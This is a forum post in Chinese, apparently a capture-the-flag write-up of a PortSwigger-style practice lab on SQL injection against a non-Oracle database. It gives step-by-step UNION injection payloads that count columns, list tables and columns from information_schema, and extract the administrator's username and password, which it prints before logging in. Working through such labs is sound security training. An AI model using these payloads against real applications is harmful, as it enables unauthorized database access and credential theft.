发帖
 找回密码
 立即注册
搜索
0 0

WEB bp官方靶场sql注入5

CTF练习 879 0 2025-7-25 21:13:53

第五关 SQL 注入攻击,列出非 Oracle 数据库上的数据库内容

这一关就是通过sql注入,先查询出所有表名,找到其中的用户表,再查询到存放账户和密码这两个字段的内容,查询到管理员的账户和密码,从而进行登录

在提示中 1、在产品类别筛选器中包含一个 SQL 注入漏洞

2、可以使用 UNION 攻击从其他表中检索数据

3、内置数据库包含一个保存用户名和密码的表,需要确定此表的名称及其包含的列,然后检索表的内容以获取所有用户的用户名和密码。

1、随便点击个类别

2、去到bp的HTTP history,找到触发的数据包,发往repeater

3、用的是union联合查询,先确定有几列存在

尝试用一个字段列

' UNION SELECT 'abc'--

报错

4、再用两个字段列

' UNION SELECT 'abc','def'--

成功

5、接下来查询数据库的信息

先到提示里找到查询所有表的sql语句

SELECT * FROM information_schema.tables

6、直接使用白名单拦截指定数据包

查询所有表名SQL语句插入:

' UNION SELECT null,table_name FROM information_schema.tables --

7、成功暴露出所有表名

我们找到疑似用户的表users_entepc

8、再去靶场提示里面找到查询字段名的sql语句

SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

9、直接拦截指定数据包

修改后查询字段的sql语句

' UNION SELECT null,column_name FROM information_schema.columns WHERE table_name = 'users_entepc' --

10、成功暴露出的字段信息

11、知道了表名和用户,密码字段名,就可以去查询管理员账户和密码了

拦截数据包

修改后sql语句插入:

' union select  username_crggnw,password_jocnfo from users_entepc where  username_crggnw = 'administrator' --

12、成功查询到管理员的账户和密码

administrator

**2odywh14plxpcjtrw2pg **

13、有了账户和密码,进行登录

14、登录成功,如图靶场过关

──── 0人觉得很赞 ────
免责声明:
1、本论坛中所有用户发布的内容仅代表作者个人观点,与本网站立场无关,本站不对其真实性、完整性或观点承担任何责任。
2、本论坛所提供的全部信息与内容,不保证其准确性、完整性或时效性。因阅读或使用本站内容而产生的任何误导、损失或风险,本站概不承担任何连带或法律责任。
3、当国家司法、行政机关依照法定程序要求本论坛披露用户信息时,本站予以配合并因此免责。
4、因网络线路故障、技术问题、不可抗力或本站无法控制的其他原因导致的服务中断或暂停,本站不承担由此造成的任何直接或间接损失。
5、对于任何通过技术手段破坏、攻击本论坛系统或扰乱正常秩序的行为,本站有权采取包括但不限于限制账号、封禁账号、追究法律责任等措施。
您需要登录后才可以回帖 立即登录
高级模式
返回